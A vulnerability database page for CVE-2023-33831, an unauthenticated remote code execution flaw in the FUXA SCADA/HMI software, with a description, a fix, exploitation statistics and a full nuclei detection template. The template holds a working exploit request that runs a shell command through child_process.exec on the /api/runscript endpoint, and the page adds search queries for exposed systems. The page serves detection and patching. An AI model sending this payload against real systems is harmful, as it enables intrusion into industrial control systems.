Browse / CVEs / CVE-2023-33831
CVE-2023-33831· frangoteam / fuxa· CWE-77
FUXA - Unauthenticated Remote Code Execution
criticalseverity
9.8CVSS score
26%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.
Impact
Unauthenticated attackers can execute arbitrary Node.js code through the runscript API endpoint, potentially compromising the entire SCADA/HMI system and accessing industrial control data.
Fix
Update FUXA to a version newer than 1.1.13 that validates script code and requires authentication for the runscript endpoint.
How to confirm it
Send: POST /api/runscript ; GET /_images/{{filename}}
Positive when: contains in body_1 "Script OK:" AND contains in body_2 "uid" and "gid" and "groups" AND status 200Run it with nuclei: nuclei -id CVE-2023-33831 -u <target>
The full check
id: CVE-2023-33831
info:
name: FUXA - Unauthenticated Remote Code Execution
author: gy741
severity: critical
description: |
A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.
impact: |
Unauthenticated attackers can execute arbitrary Node.js code through the runscript API endpoint, potentially compromising the entire SCADA/HMI system and accessing industrial control data.
remediation: |
Update FUXA to a version newer than 1.1.13 that validates script code and requires authentication for the runscript endpoint.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-33831
- https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831
- https://github.com/codeb0ss/CVE-2023-33831-PoC
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-33831
cwe-id: CWE-77
epss-score: 0.25951
epss-percentile: 0.97996
cpe: cpe:2.3:a:frangoteam:fuxa:1.1.13:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 2
vendor: frangoteam
product: fuxa
fofa-query:
- title="FUXA"
- title="fuxa"
tags: cve,cve2023,rce,intrusive,frangoteam,fuxa,unauth,vkev,vuln
variables:
filename: "{{rand_base(6)}}"
http:
- raw:
- |
POST /api/runscript HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('child_process').exec('id > ./_images/{{filename}}')"}}}
- |
GET /_images/{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- 'Script OK:'
- type: word
part: body_2
words:
- 'uid'
- 'gid'
- 'groups'
condition: and
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2023-33831
- https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831
- https://github.com/codeb0ss/CVE-2023-33831-PoC
- https://github.com/nomi-sec/PoC-in-GitHub
Use this check only on systems you are authorised to test. Where the data comes from